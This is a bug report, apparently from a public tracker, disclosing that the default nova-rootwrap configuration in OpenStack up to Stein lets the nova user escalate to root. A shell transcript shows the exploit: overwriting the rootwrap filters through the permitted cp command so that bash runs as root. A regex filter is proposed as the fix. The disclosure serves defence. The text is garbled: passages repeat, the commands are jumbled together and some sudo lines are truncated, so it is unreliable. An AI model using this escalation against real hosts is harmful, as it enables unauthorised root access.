Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.
Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:
Similar bug was reported some time ago: https://bugs.launchpad.net/nova/+bug/1700501, but wasn't considered as a real security risk (only local nova account login was discussed, not remote connection).
Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:
Default nova-rootwrap configuration (up to Stein) allows easy privilege escalation from user nova.
Description:
If attacker gains nova ssh key (for example from some backup), then can log into nova account on compute node via ssh and easly escalate privileges to root:
[nova@compute ~]$ whoami nova-rootwrap /etc/nova/ rootwrap. conf cp /var/lib/ nova/compute. filters /etc/nova/ rootwrap. d/compute. filters nova-rootwrap /etc/nova/ rootwrap. conf bash
nova
[nova@compute ~]$ echo -e '[Filters]\nbash: CommandFilter, bash, root' > compute.filters
[nova@compute ~]$ cat compute.filters
[Filters]
bash: CommandFilter, bash, root
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/
[nova@compute ~]$
[nova@compute ~]$ sudo /usr/bin/
root@compute:~#
root@compute:~# whoami
root
Similar bug was reported some time ago: https:/ /bugs.launchpad .net/nova/ +bug/1700501, but wasn't considered as a real security risk (only local nova account login was discussed, not remote connection).
Possible solution:
As number of 'write' commands executed as root is low, and used only in few places in code, some limitations could be added. Simple example for command 'cp', with '/var/lib/nova/' as state_path:
cp: RegExpFilter, cp, root, cp, /var/lib/nova/.*, /var/lib/nova/.*